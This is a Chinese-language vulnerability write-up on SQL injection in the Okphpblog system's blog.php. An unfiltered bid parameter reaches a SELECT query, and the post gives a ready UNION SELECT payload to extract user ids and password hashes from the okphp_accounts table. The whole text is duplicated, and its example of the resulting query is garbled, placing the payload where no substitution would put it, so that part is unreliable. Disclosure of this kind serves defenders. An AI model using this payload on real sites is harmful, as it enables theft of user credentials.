这个blog系统的漏洞之多简直无法想象,前段时间我写过ip()函数的问题了。昨天看程序的时候发现bid和uid两个变量没有做过滤导致产生注入漏洞,下面是对bid的分析,uid原理一样。 我们看blog.php第69和70行 Code: $bid = $_REQUEST['bid']; 直接取得变量的值。我们往下找,一直找到303行 Code $q = "SELECT bid FROM {$table['friends']} WHERE oid='{$blog['id']}' AND bid='{$client['bid']}' AND stats=1"; $res = sql_query($q, $conn); 已经对数据库进行select了,程序还是完全没有对它进行过滤的意思。我们来构造病态变量 bid=2%20AND%201=2%20UNION%20SELECT%20id,password,3,4,5,6,7,8%20FROM%20okphp_accounts/* 语句变成了 SELECT bid=2%20AND%201=2%20UNION%20SELECT%20id,password,3,4,5,6,7,8%20FROM%20okphp_accounts/* FROM {$table['friends']} WHERE oid='{$blog['id']}' AND bid='{$client['bid']}' AND stats=1"; 完全可以暴出所有用户的密码hash Okphpblog 无
这个blog系统的漏洞之多简直无法想象,前段时间我写过ip()函数的问题了。昨天看程序的时候发现bid和uid两个变量没有做过滤导致产生注入漏洞,下面是对bid的分析,uid原理一样。 我们看blog.php第69和70行 Code: $bid = $_REQUEST['bid']; 直接取得变量的值。我们往下找,一直找到303行 Code $q = "SELECT bid FROM {$table['friends']} WHERE oid='{$blog['id']}' AND bid='{$client['bid']}' AND stats=1"; $res = sql_query($q, $conn); 已经对数据库进行select了,程序还是完全没有对它进行过滤的意思。我们来构造病态变量 bid=2%20AND%201=2%20UNION%20SELECT%20id,password,3,4,5,6,7,8%20FROM%20okphp_accounts/* 语句变成了 SELECT bid=2%20AND%201=2%20UNION%20SELECT%20id,password,3,4,5,6,7,8%20FROM%20okphp_accounts/* FROM {$table['friends']} WHERE oid='{$blog['id']}' AND bid='{$client['bid']}' AND stats=1"; 完全可以暴出所有用户的密码hash Okphpblog 无